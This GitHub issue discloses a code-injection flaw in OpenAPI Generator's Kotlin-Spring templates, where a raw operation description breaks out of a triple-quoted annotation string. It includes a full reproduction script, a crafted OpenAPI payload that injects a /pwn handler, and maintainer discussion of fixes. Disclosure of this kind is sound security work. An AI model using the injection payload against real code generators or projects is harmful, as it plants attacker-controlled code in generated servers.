Skip to content

[BUG][Kotlin] Operation Description Escapes Generated Annotation String and Injects a Spring Handler #23956

Open

Description

@quart27219

Bug Report Checklist

  • [✅] Have you provided a full/minimal spec to reproduce the issue?
  • [✅] Have you validated the input using an OpenAPI validator?
  • [✅] Have you tested with the latest master to confirm the issue still exists?
  • [✅] Have you searched for related issues/PRs?
  • [✅] What's the actual output vs expected output?
  • [Optional] Sponsorship to speed up the bug fix or feature request (example)
Description

OpenAPI Generator has a similar vulnerability with CVE-2026-22785 in the Kotlin-Spring generator: an untrusted OpenAPI operation description is copied into generated Kotlin source through unescapedNotes and placed inside a triple-quoted annotation string. A malicious description containing """ can close the string, close the annotation, and insert attacker-controlled Kotlin/Spring declarations into the generated controller.

The vulnerable sink is in modules/openapi-generator/src/main/resources/kotlin-spring/api.mustache.

@Operation(
    summary = "{{{summary}}}",
    operationId = "{{{operationId}}}",
    description = """{{{unescapedNotes}}}""",
    responses = [{{#responses}}

The same pattern is also present in modules/openapi-generator/src/main/resources/kotlin-spring/apiInterface.mustache.

@Operation(
    tags = [{{#tags}}"{{{name}}}",{{/tags}}],
    summary = "{{{summary}}}",
    operationId = "{{{operationId}}}",
    description = """{{{unescapedNotes}}}""",
    responses = [{{#responses}}

The template uses unescapedNotes, not the escaped notes field. In modules/openapi-generator/src/main/java/org/openapitools/codegen/DefaultCodegen.java, unescapedNotes is assigned directly from the OpenAPI operation description:

op.summary = escapeText(operation.getSummary());
op.unescapedNotes = operation.getDescription();
op.notes = escapeText(operation.getDescription());

The Kotlin generator has escaping helpers, but those helpers are not applied to this unescapedNotes template path. modules/openapi-generator/src/main/java/org/openapitools/codegen/languages/AbstractKotlinCodegen.java only handles quote removal for escaped text and block-comment delimiter replacement for unsafe characters:

public String escapeQuotationMark(String input) {
    return input.replace("\"", "");
}

public String escapeUnsafeCharacters(String input) {
    return input.replace("*/", "*_/").replace("/*", "/_*");
}

Because the template renders the raw operation description inside a Kotlin triple-quoted string, an attacker-controlled """ terminates the annotation string. The attacker can then close the annotation and add Kotlin/Spring code before reopening a benign annotation string for the remaining generated template.

openapi-generator version

v7.22.0

Steps to reproduce

The following reproduction is self-contained. It checks out the affected OpenAPI Generator source, builds the CLI jar, creates the malicious OpenAPI document, generates a Kotlin-Spring server, compiles it, starts the generated
Spring application, and triggers the injected handler over HTTP.

set -eu

workdir="$(mktemp -d)"
cd "$workdir"

git clone --depth 1 https://github.com/OpenAPITools/openapi-generator.git
cd openapi-generator
git fetch --depth 1 origin 1dc89bd3d9081a4b2eff6baa8f7866109eb88a15
git checkout 1dc89bd3d9081a4b2eff6baa8f7866109eb88a15

./mvnw -q -pl modules/openapi-generator-cli -am package -DskipTests </dev/null
generator_jar="$(find modules/openapi-generator-cli/target -maxdepth 1 \
  -name 'openapi-generator-cli*.jar' \
  ! -name '*sources*' \
  ! -name '*javadoc*' \
  | head -n 1)"

cat > "$workdir/malicious-openapi.yaml" <<'YAML'
openapi: "3.0.3"
info:
  title: OpenAPI Generator Kotlin description injection
  version: "1.0.0"
paths:
  /ping:
    get:
      operationId: ping
      summary: Ping
      description: |
        """
            )
            @GetMapping("/pwn")
            fun pwn(): String {
                return "OPENAPI_GENERATOR_INJECTED_HANDLER"
            }
            @Operation(description = """
      responses:
        "200":
          description: OK
YAML

java -jar "$generator_jar" generate \
  -g kotlin-spring \
  -i "$workdir/malicious-openapi.yaml" \
  -o "$workdir/generated-server" \
  --additional-properties=interfaceOnly=false,serviceInterface=false,documentationProvider=springdoc,useSpringBoot3=false \
  </dev/null

grep -R '@GetMapping("/pwn")' "$workdir/generated-server/src/main/kotlin"
grep -R 'OPENAPI_GENERATOR_INJECTED_HANDLER' "$workdir/generated-server/src/main/kotlin"

cd "$workdir/generated-server"
chmod +x ./gradlew
./gradlew build -x test -Pkotlin.jvm.target.validation.mode=warning </dev/null

./gradlew bootRun --args='--server.port=18085' \
  -Pkotlin.jvm.target.validation.mode=warning </dev/null > "$workdir/boot.log" 2>&1 &
server_pid="$!"
trap 'kill "$server_pid" 2>/dev/null || true; wait "$server_pid" 2>/dev/null || true' EXIT

for i in $(seq 1 60); do
  response="$(curl -fsS http://127.0.0.1:18085/pwn 2>/dev/null || true)"
  if [ "$response" = "OPENAPI_GENERATOR_INJECTED_HANDLER" ]; then
    printf '%s\n' "$response"
    exit 0
  fi
  sleep 1
done

printf 'Injected handler did not become reachable. boot log follows:\n' >&2
cat "$workdir/boot.log" >&2
exit 1

Expected output from the final request:

OPENAPI_GENERATOR_INJECTED_HANDLER

The malicious OpenAPI operation description used by the script is:

openapi: "3.0.3"
info:
  title: OpenAPI Generator Kotlin description injection
  version: "1.0.0"
paths:
  /ping:
    get:
      operationId: ping
      summary: Ping
      description: |
        """
            )
            @GetMapping("/pwn")
            fun pwn(): String {
                return "OPENAPI_GENERATOR_INJECTED_HANDLER"
            }
            @Operation(description = """
      responses:
        "200":
          description: OK

The generated controller contains attacker-controlled source code:

@Operation(
    summary = "Ping",
    operationId = "ping",
    description = """"""
)
@GetMapping("/pwn")
fun pwn(): String {
    return "OPENAPI_GENERATOR_INJECTED_HANDLER"
}
@Operation(description = """
""",
    responses = [
        ApiResponse(responseCode = "200", description = "OK") ]
)
Related issues/PRs

Activity

  1. Picazsoo commented on Jun 5, 2026

    @Picazsoo
    Contributor

    Hi, any idea if my PR fixes this issue? #23633
    I will take a look at it later as well.

  2. Picazsoo commented on Jun 5, 2026

    @Picazsoo
    Contributor

    Ok - based on a very quick look it seems I do not prevent this injection in my fix.

  3. Picazsoo commented on Jun 5, 2026

    @Picazsoo
    Contributor

    @quart27219 - do you plan on providing a fix?

  4. Picazsoo commented on Jun 6, 2026

    @Picazsoo
    Contributor

    Ok, there is a similar issue where in some cases kotlin string interpolation ("${...}") does not get escaped properly.

  5. quart27219 commented on Jun 6, 2026

    @quart27219
    Author

    The original Orval patch fixed the code by escaping attacker-controlled OpenAPI values before placing them into generated source. I think this issue also can be patched in a similar direction.

    Raw description interpolation shoud be replaced with serialization for the annotation string context.

    Maybe you could reference original patch used for sanitizing strings.

    Also, this is the main function used for patch in original vulnerability:
    https://github.com/orval-labs/orval/blob/468dceec8931d44a2b99d6ce35e08de14198e7f5/packages/core/src/utils/string.ts#L242

  6. Picazsoo commented on Jun 6, 2026

    @Picazsoo
    Contributor

    Yeah - I did some experiments and there are plenty of places where the injection via string interpolation is possible. If you do not plan on doing it, I will try to prepare some fixes over the weekend.

    Another place (probably one of many)

    Image Image
  7. Picazsoo commented on Jun 6, 2026

    @Picazsoo
    Contributor

    I would wager that my PR #23633 fixes at least some of these issues (WRT String interpolation injection). But definitely not all. And definitely not the ones with the triple quotes.

  8. Picazsoo commented on Jun 6, 2026

    @Picazsoo
    Contributor

    I think it would be good to be in better state for 7.23.0 release

  9. Picazsoo commented on Jun 7, 2026

    @Picazsoo
    Contributor

    A small-scope fix here: #23960

  10. quart27219 commented on Jun 7, 2026

    @quart27219
    Author

    Thanks for your work.
    It seems to be a proper direction for patch :)

    I also agree that it would be good to be in better state for next release.

  11. quart27219 commented on Jul 14, 2026

    @quart27219
    Author

    Is there any update for this issue? It doesn't seem to have been fixed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions